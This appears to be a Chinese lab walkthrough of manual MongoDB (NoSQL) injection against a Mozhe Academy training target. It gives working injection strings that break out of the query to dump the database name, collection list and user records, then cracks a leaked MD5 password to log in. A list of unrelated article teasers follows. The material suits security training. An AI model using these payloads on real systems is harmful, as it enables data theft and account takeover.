墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

一、SQL手工注入漏洞测试(MongoDB数据库)

本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1

二、注入原理说明

MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:

  1. JSON/BSON语法闭合
  2. JavaScript代码执行
  3. 查询结果强制返回

三、注入步骤详解(如下指令去掉了id之前的内容

1. 查询回显位置

id=1'});return ({'title':'1','content':'2
  • 攻击手法
    • '} 闭合原始查询的JSON结构
    • ); 终止当前语句
    • return 构造新文档强制返回
  • 作用:确认页面显示titlecontent字段的位置
    在这里插入图片描述

2. 查询数据库名称

id=1'});return ({'title':tojson(db),'content':'2
  • 关键函数
    • db:当前数据库对象
    • tojson():将MongoDB对象转为JSON字符串
  • 输出示例
    mozhe_cms_Authority
    

在这里插入图片描述

3. 查询表名称(集合列表)

id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
  • 核心方法
    • getCollectionNames():返回所有集合名称数组
  • 典型结果
    [ "Authority_confidential", "notice", "system.indexes" ]
    

在这里插入图片描述

4. 查询字段结构

id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

修改find()[1]值查询其他账号:

id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
  • 技术要点
    • Authority_confidential:目标集合名
    • find()[0]:获取集合第一条记录
    • find()[1]:获取集合第二条记录
  • 泄露内容
    {"_id": ObjectId("6885d4f44abcd62e71223bc5"),"name": "mozhe","password": "a83cd5ad5ed3e1c5597441aaab289f5c","status": "0"
    }
    

在这里插入图片描述
在这里插入图片描述

5. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
在这里插入图片描述

四、关键指令速查表

指令/函数作用示例输出
'})闭合原始查询终止当前JSON结构
return控制返回数据构造恶意输出
tojson()对象序列化转为可读JSON
db当前数据库对象包含连接信息
getCollectionNames()获取所有集合[“coll1”,“coll2”]
find()[0]获取首条记录完整文档结构

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/916513.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/916513.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kafka——CommitFailedException异常处理深度解析

引言在分布式消息系统Kafka的生态中,消费者组(Consumer Group)机制是实现高吞吐量和负载均衡的核心设计。然而,消费过程中位移提交(Offset Commit)的稳定性始终是开发者面临的最大挑战之一。当消费者尝试提…

kafka的部署和jmeter连接kafka

zookeeper的安装 kafka依赖Zookeeper所以要先安装Zookeeper kafka的安装文章引用来源:Kafka下载和使用(linux版)-CSDN博客 通过wget命令安装 # 安装wget https://downloads.apache.org/zookeeper/stable/apache-zookeeper-3.7.1-bin.tar.gz# 解压tar…

Android UI 组件系列(八):ListView 基础用法与适配器详解

博客专栏:Android初级入门UI组件与布局 源码:通过网盘分享的文件:Android入门布局及UI相关案例 链接: https://pan.baidu.com/s/1EOuDUKJndMISolieFSvXXg?pwd4k9n 提取码: 4k9n 一、引言 在上一篇文章《Android UI 组件系列(…

Android学习专题目录(持续更新)

1.Android 调试 1.1:Logcat日志分析 2.Android编译 2.1:android编译过程中的mk文件和bp文件的扫描机制 2.2:Android 构建系统中常见的 .mk 文件及其作用 2.3:Android构建系统中的mk文件语法函数 2.4:安卓中定…

c#Lambda 表达式与事件核心知识点整理

一、Lambda 表达式1. 概念 Lambda 表达式是一种匿名函数(无名称的函数),简化了委托和匿名方法的写法,格式为: (参数列表) > 表达式或语句块 它可以作为参数传递,或赋值给委托类型变量。2. 基本语法与简写…

Springboot+Layui英语单词学习系统的设计与实现

文章目录前言详细视频演示具体实现截图后端框架SpringBootLayUI框架持久层框架MyBaits成功系统案例:参考代码数据库源码获取前言 博主介绍:CSDN特邀作者、985高校计算机专业毕业、现任某互联网大厂高级全栈开发工程师、Gitee/掘金/华为云/阿里云/GitHub等平台持续输…

主要分布于内侧内嗅皮层的层Ⅲ的边界向量细胞(BVCs)对NLP中的深层语义分析的积极影响和启示

边界向量细胞(Boundary Vector Cells, BVCs)主要分布于内侧内嗅皮层(MEC)层Ⅲ,通过编码环境边界(如墙壁、障碍物)的距离和方向信息,为空间导航提供几何参考框架。这一神经机制对自然…

Selenium是解决了什么问题的技术?

Selenium 是一种用于自动化浏览器操作的技术,主要解决了以下问题:1. 自动化测试 Selenium 最初是为了解决 Web 应用程序的自动化测试 问题而设计的。它可以帮助开发者和测试人员: 模拟用户操作:如点击按钮、填写表单、选择下拉菜单…

JavaSE知识点(2)

目录 访问修饰符的区别 this关键字的作用 抽象类和接口有什么区别 抽象类可以定义构造方法吗 但是接口不可以定义构造方法 Java支持多继承吗 接口可以多继承吗 继承和抽象的区别? 抽象类和普通类的区别 成员变量和局部变量的区别? staic关键字…

(实用教程)Linux操作系统(二)

centos配置静态ip 注意: 1.系统中的网关要与虚拟机编辑器中的网关保持一致 2.如果配置虚拟机编辑器后发现ping不通外网的时候,就要还原默认设置再进行配置 总结: 虚拟机编辑器需要配置ip,网关,其中ip网段以及最后一…

ThinkPHP8集成RabbitMQ的完整案例实现

ThinkPHP8集成RabbitMQ的完整案例实现一、安装依赖:需通过Composer安装php-amqplib库‌二、配置RabbitMQ三、生产者1、发送一个邮件,将任务发送到RabbitMQ队列中。2、运行结果展示四、启动消费者:命令行执行php think rabbitmq:consumer1&…

解密负载均衡:如何轻松提升业务性能

什么是负载均衡 负载均衡:Load Balance,简称LB,是一种服务或基于硬件设备等实现的高可用反向代理技术,负载均衡将特定的业务(web服务、网络流量等)分担给指定的一个或多个后端特定的服务器或设备,从而提高了 公司业务的…

mac neo4j install verifcation

本文使用conda环境安装,neo4j所依赖jdk也采用conda install的方式安装。 1 neo4j下载 点击如下链接,选择community, Linux/Mac Executor,点击Download Community。 本文下载的安装包是 neo4j-community-2025.06.2-unix.tar.gz 2 安装neo4j …

【Oracle】Oracle分区表“排雷“指南:当ORA-14400错误找上门时如何优雅应对

引言:分区表里的"定时炸弹"凌晨三点的机房,你盯着屏幕上刺眼的ORA-14400: 插入的分区键值超出所有分区范围错误,后背发凉。这个错误就像埋在分区表里的定时炸弹,一旦触发就会让整个应用瘫痪。但别慌!本文将带…

设计模式(十四)行为型:职责链模式详解

设计模式(十四)行为型:职责链模式详解职责链模式(Chain of Responsibility Pattern)是 GoF 23 种设计模式中的行为型模式之一,其核心价值在于将多个处理对象(处理器)连接成一条链&am…

WAIC 2025 热点解读:如何构建 AI 时代的“视频神经中枢”?

一、🌐 WAIC 2025 大会看点:AI 正在“长出眼睛与身体” 在 2025 年的人工智能大会(WAIC 2025)上,“大模型退幕后,具身智能登场”成为最具共识的趋势转向。从展区到主论坛,再到各大企业发布的新…

OpenCV+Python

安装 OpenCV: Python:直接 pip install opencv-python(核心库)和 opencv-contrib-python(扩展功能)。 pip install opencv-python pip install opencv-contrib-python 验证安装: import cv2…

现代C++的一般编程规范

一般情况下不要使用std::endl,尤其是在循环中,因为可能一开始你只是想要打印一个换行符,但是"endl"做的更多,其还会刷新缓冲区,这会额外花费很多时间,相反,只需要使用“\n"&…

38.安卓逆向2-frida hook技术-过firda检测(三)(通过SO文件过检测原理)

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 内容参考于:图灵Python学院 工具下载: 链接:https://pan.baidu.com/s/1bb8NhJc9eTuLzQr39lF55Q?pwdzy89 提取码&#xff1…

创建属于自己的github Page主页

安装手册 安装手册 环境要求 Node.js version 18.0 安装 Node.js 时,建议勾选所有和依赖相关的选项。 安装步骤 安装 Docusaurus 最简单的方法是使用 create-docusaurus 命令行工具,它可以帮助你快速搭建一个 Docusaurus 网站的基础框架。 你可以在…